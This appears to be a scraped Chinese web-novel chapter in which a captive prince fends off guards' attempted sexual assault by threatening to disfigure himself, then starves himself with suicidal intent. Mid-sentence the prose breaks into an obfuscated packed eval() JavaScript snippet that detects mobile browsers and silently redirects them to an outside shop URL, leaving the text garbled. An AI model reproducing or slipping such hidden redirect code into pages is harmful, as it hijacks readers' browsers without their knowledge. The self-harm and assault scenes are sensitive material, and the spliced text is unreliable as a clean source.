默认冷灰
24号文字
方正启体

3. 笼

作者:砂糖海本书字数:K更新时间:
    虽然心中还没有具体的逃脱手法,但岑月白准备先摸清侍卫们的轮班换岗时间和倪映天来访的记录。


    岑月白贴着窗户上厚油纸的缝隙认真地听了起来。


    窗外,换班的侍卫带来了晚饭,人挨着墙角就地找了个角落蹲了下来,一边吃饭一边闲聊。


    “……妈的,这苦差事,天天对着堵墙。”


    一个粗嘎的嗓音抱怨道,“啧,也不知道里面守着的是谁。”


    “嘘……小点声,里头关着的那位,可是王爷亲自带回来的‘贵客’,来历可不小。”


    另一个油滑的声音接过话头,刻意压低:“模样是真没得说。那天被王爷抱回来时,我远远瞧了一眼,细皮嫩肉的,比娘们儿还水灵……啧。”


    “呵,王爷亲自带回来的,差得了?”


    另一个声音嬉笑着接口,“谁知道王爷怎么想的?这等绝色,搁这儿晾着,真是暴殄天物啊……可惜啊,咱们看得碰不得。”


    “碰不得?我看未必。王爷什么性子你又不是不知道,新鲜劲儿过了,指不定就赏下来了……”粗嘎声音嬉笑着调侃,引来几声心照不宣的嗤笑。


    “再说了,就算不动,咱们也能过过眼瘾,王爷你还不知道,只要别犯了忌讳,他巴不得我们替他……”


    “嘘,你小点声……”


    门外嚼墙根的两人还在继续,岑月白却不想再听了。这些垃圾话毫无价值,只会徒增恶心。


    院里没有能记录时间的,也不清楚大雍这边的时令,他只能看太阳的位置心里估算是申时到酉时之间,又找到刚才折下来的梅枝,找个不显眼的角落,记录下屋墙的影子,做了个简单的日晷。


    -


    时间一天天过去,倪映天离开梁王府已有三日,岑月白一直待在揽月阁中,等着倪映天什么时候到来。


    他也做足了心理建设,努力让自己不再排斥见到倪映天。


    既然逃不过这一劫,不如善加利用对方,获得更多的信息。


    但奇怪的是,从在宣京王府那天起,他就再也没有见过倪映天。


    倪映天从没来过揽月阁。


    岑月白就好像是被忘了一般。


    他心中疑惑,偷听侍卫们的讨论,倪映天应该是去附近巡城了,这段时间甚至不在青陵城里。


    -


    小院里,得知消息的岑月白抱膝坐在冰凉的廊下。


    他望着院中那株老梅虬结的枯枝,思绪不断在那些残破的梦境碎片中搜寻。


    他记得他前些年有段时间,梦到过自己住在这个揽月阁里。


    他相信其中一定有些线索,只是本来就是梦境,更何况是那些永远不愿回忆的噩梦,他早就忘得差不多了。


    他细细地回想着,却听“吱呀”一声,院门从外推开了一道缝隙。


    岑月白抬眼望去,又看了看时间,是送饭的时候了。


    但门口进来的不是往常的仆妇。


    三个穿着王府侍卫服的男人侧身挤了进来,反手又将门虚掩上。


    为首的是个脸上带疤的壮汉,眼神混浊,上下打量着岑月白,露出令人不适的笑:“小公子,一个人待着闷坏了吧?”


    另外两人一左一右散开,隐隐形成合围之势。


    岑月白心脏骤缩,镇定地站起身来:“你们想做什么?倪映天让你们进来的?”


    “王爷?”另一个瘦高个侍卫嗤笑,“王爷忙着巡城,去了舞阳,哪顾得上你这小雀儿啊?”


    “哥几个就是巡查看守,见您孤单,特来‘问候问候’。”


    一旁的小眼侍卫立马接过话:“就是,一个人待着多闷啊,王爷忘了你,哥几个来陪你说说话不是?”


    其实他们也不敢做什么。就是临近休沐,兄弟几个喝了点小酒,吹嘘着进来,想调戏调戏这个“小媳妇”,吓吓他,寻寻开心。


    他们几个都跟着王爷做事很久了,早就摸清了王爷的脾气。


    每次遇到一些宁死不屈的新欢,王爷都会派他们挫挫锐气。


    只要不挨不碰,王爷都会睁一只眼闭一只眼。


    更何况,这人关在这里四五天了,王爷也对他不闻不问的,想来也没有多上心。


    酒壮怂人胆,更何况是他们这三个色胆包天的糙汉。


    凑得近了,他们细细打量着白玉一般的人,心里啧啧称奇。


    要不说是王爷呢?这么漂亮的人,王爷居然舍得这么晾了这么多天?!


    他们更确定了,王爷就是想要他们好好给这小媳妇一个下马威!


    几人对视淫邪一笑,搓着手朝着岑月白围了上去。


    “滚出去。”岑月白呵斥道。


    “哟,脾气不小。”疤脸侍卫又往前跨了一步,“还以为是在自己家呢?瞧这细皮嫩肉的,怕是比娘们还娇贵吧?”


    他说着,竟伸手想要摸岑月白的脸。


    岑月白猛地侧头躲开,想也不想,抓起一直藏在袖口里那半片碎瓦,狠狠朝那只手扎去。


    “嘶——!”


    瓦片边缘被他磨得锋利,轻易地划开一道血口,那人吃痛缩手,脸色顿时阴沉下来:“敬酒不吃吃罚酒!按住他!”


    另外两人立刻扑上。


    岑月白拼命挣扎,宽大的袍袖被扯住,衣襟也被撕开一道口子。


    混乱中,岑月白不知哪来的力气,挣脱了钳制,踉跄退后几步,背靠着冰冷的墙壁,剧烈地喘息。


    困乱中他割伤了自己,握着碎瓦的手里全是血。


    三个侍卫见他如此狼狈却还敢反抗,更是恼羞成怒。


    平常那些美人,稍微被他们一说就脸红羞恼,怯生生地服软,软声求他们放过。


    哪见过这种不要命的阵仗?


    疤脸侍卫眼神狠毒:“给脸不要脸!等哥几个玩够了,看你还能不能这么硬气!”


    眼看他们又要围拢上来,岑月白的目光掠过他们脸,掠过这四方高墙,最后落在掌心那片碎瓦上。


    他不再后退,抬起手,将那片锋利的碎瓦紧紧抵住了自己左侧的脸颊。


    “站住!”岑月白盯着他们,吼道。


    他一字一句地说:“你们胆敢再上前一步,我就划下去。一道不行就两道!直到这张脸,血肉模糊,看不出原本模样为止!”


    他知道,倪映天特别珍视自己这幅皮囊,尤其是他的脸。


    梦中他好几次想自毁容貌,倪映天都会大发雷霆,将他绑地丝毫不能动弹,用丝绸将他手脚紧紧裹住。


    然后倪映天会费尽心机地把伤口养好,不让他身上留下一道疤。


    “你们猜,”他微微用力,瓦片刃口陷进皮肉,血瞬间渗了出来,“倪映天回来,看到你们把我弄成那副鬼样子,是会奖赏你们,还是把你们剁碎了喂狗?!”


    三个侍卫脸色瞬间变了。


    他们来揩油是一回事,可若是真毁了这张脸……


    想起那位爷整治人的手段……他们额角不由得渗出了冷汗。


    “……疯子!”


    岑月白不为所动:“滚!滚出去!”


    僵持数息,三人终究不敢赌,悻悻退了出去,重重摔上门。


    瓦片“当啷”落地,砸在青石地上。


    岑月白顺着墙壁缓缓滑坐在地,脸上血痕蜿蜒。


    但他知道,这事没完。


    不出他所料,自那日后,送来的饭菜便一日不如一日。


    从最初的热汤热饭,变成了残羹冷炙,再到后来,干脆是些散发着馊味的食物。


    送饭的仆妇眼神躲闪,放下食盒便匆匆离去。


    岑月白看着桌上那碗漂浮着油污,米粒僵硬的冷粥。


    从小锦衣玉食惯了的他哪能吃得下,胃里一阵翻腾。


    这一定是倪映天的授意。


    他最惯用这种钝刀子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301671|198657||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    割肉的方式,一点点消磨他的意志,让他彻底屈服。


    梦中似乎也有过类似的情节,倪映天总会在他稍显倔强时,用各种方式磨掉他的棱角,直到他彻底学乖。


    但倪映天还是没有来看过他。


    一眼都没有。


    他像是被遗忘了。


    他不明白这畜生究竟要做什么,千辛万苦地把自己绑来,然后丢在这什么都没有的小院里不管不顾?!


    他究竟把自己当什么?连一个玩物都不如吗?一个侍卫都可以这样随意地凌辱欺侮他?


    从小到大,他就是父皇母后最宠爱的孩子,老师也对他百般宠爱。


    哪怕是那些恶心龌龊的梦里,那个倪映天虽然可恶至极,但也是时时刻刻将自己放在心上。


    但现在这样算什么?毫不在乎?


    留自己在这孤僻的小院中自生自灭?


    那又为什么要打扰自己平静的生活?!


    就想看自己难堪吗?


    岑月白又瞥到那些馊掉的饭菜,一个决绝的念头骤然升起,而这种念头一旦出现便挥之不去。


    他挥袖将食盒扫落在地,碗碟碎裂,污秽的食物溅了一地。


    与其这样被一点点磨去尊严,像畜生一样苟延残喘,不如就此了断!


    他不再看那些食物一眼,任由它们搁置,腐坏……


    饥饿感如同蚁噬,细细密密地啃咬着他的胃腹,阵阵绞痛。


    岑月白毫不意外地生病了,体温越来越烫,却根本没有人在乎。


    他蜷缩在榻上,冷汗浸湿了衣衫,意识在清醒与昏沉间浮沉。


    又过了两日,眼见岑月白情况不对,门外侍卫终于慌了神。


    若这人真饿死在这里,王爷归来,他们有几个脑袋够砍?


    那疤脸侍卫硬着头皮,端着一碗稀粥,走了进来:“喂!起来吃点东西!”


    岑月白连眼皮都未抬一下。


    疤脸侍卫心中又惧又躁,尝试着将粥碗递到岑月白嘴边,却被推开。


    “别给脸不要脸!”侍卫恼了,放下碗,伸手便想去捏开岑月白的下颌,想将那粥强行灌下去。


    “你饿死了,我们都得给你陪葬!”


    就在那粗糙的手指即将触碰到他脸颊的瞬间,原本虚软无力的岑月白用尽最后一股力气,猛地抬手狠狠推开了侍卫。


    疤脸侍卫一屁股跌坐在地上,粥碗打翻,粘稠的粥水溅了一身。


    岑月白挣扎坐起,背抵墙壁,手中竟又握住了那片染血的碎瓦,尖锐一角死死抵在颈侧。


    “你……”


    “滚出去!”他声音嘶哑,眼神凶狠,“再碰我一下,我就死在这里!”


    疤脸侍卫看着他颈侧的红痕,以及那双燃着冰冷火焰的眸子,一股寒意从脚底窜起。


    他毫不怀疑,这个疯子真的会这么做!


    他狼狈地爬起身,连滚带爬地冲出了院子。


    岑月白脱力地跌坐在地上,意识开始飘忽,时间感变得混乱。


    他想起落云国御膳房精致的点心,想起父王曾亲手喂他喝的甜羹,想起老师亲手做的素食小菜,想起燕诀偷偷塞给他的糖……


    那些曾经的记忆,像隔着一层纱帐,越来越模糊。


    ……父王,母后,老师……对不起……


    黑暗如同温暖的潮水,彻底淹没了他。


    但就在失去意识的最后一瞬,他似乎听到院门被“哐当”一声大力推开,还有一个蕴含着雷霆之怒的声音……


    是梦吗?


    还是……


    高大的身影逆着光走了过来。


    温暖的怀抱将他小心笼住,抱起。


    谁?


    是……倪映天吗?


    他终于要对自己下手了吗?


    岑月白想扯出一个嘲讽的笑,却连牵动嘴角的力气都没有,头一歪,彻底晕厥在倪映天的怀中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)